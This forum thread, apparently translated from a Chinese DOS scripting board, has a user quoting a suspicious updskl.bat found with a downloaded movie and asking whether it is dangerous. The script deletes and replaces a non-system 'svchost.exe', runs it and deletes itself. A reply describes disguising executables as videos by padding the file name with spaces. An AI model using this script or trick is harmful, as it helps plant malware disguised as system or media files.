Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » After downloading the movie, I found the batch file updskl.bat and don't understand its intention.
View 2,553 Replies 15
Credits 351 Posts 140 Joined 2006-06-19 17:11 20-year member UID 57261 Gender Male
Status Offline
The movie folder contains a batch file updskl.bat with the following content:
@echo off
:loop
del "C:\Program Files\Common Files\System\svchost.exe"
del "C:\Program Files\Common Files\System\ver.txt"
del "C:\Program Files\Common Files\System\she.dll"
if exist "C:\Program Files\Common Files\System\svchost.exe" goto loop
C:
cd C:\Program Files\Common Files\System\
ren svchostnew.exe svchost.exe
call "C:\Program Files\Common Files\System\svchost.exe"
del "C:\Program Files\Common Files\System\updskl.bat"
The first step is to forcibly delete the original svchost.exe, the second step is to rename svchostnew.exe to svchost.exe and then execute it. It seems that it wants to update the svchost.exe in the System folder of the computer. I don't understand the intention? Is it dangerous? Please help analyze, thank you all!
[ Last edited by enjoyer on 2007-7-29 at 09:36 PM ]
Credits 351 Posts 140 Joined 2006-06-19 17:11 20-year member UID 57261 Gender Male
Status Offline
I don't know what the relationship is with the downloaded movie files, and I also don't understand the svchost process. Will it affect the stability of my system? Please help analyze it for me upstairs, thank you.
Credits 397 Posts 168 Joined 2006-10-08 10:07 19-year member UID 64934
Status Offline
I think your movie file might be fake! The icon is [icon], but the suffix at the end of the file is not!
Note, it's the end,
There will be such files:
001.avi(N many spaces).exe
The icon is fake
Credits 351 Posts 140 Joined 2006-06-19 17:11 20-year member UID 57261 Gender Male
Status Offline
Thank you everyone for your help! The downloaded movie file is real (.rm format) and can play normally. I didn't pay any more attention to this batch file. But I don't know if it secretly runs during movie playback.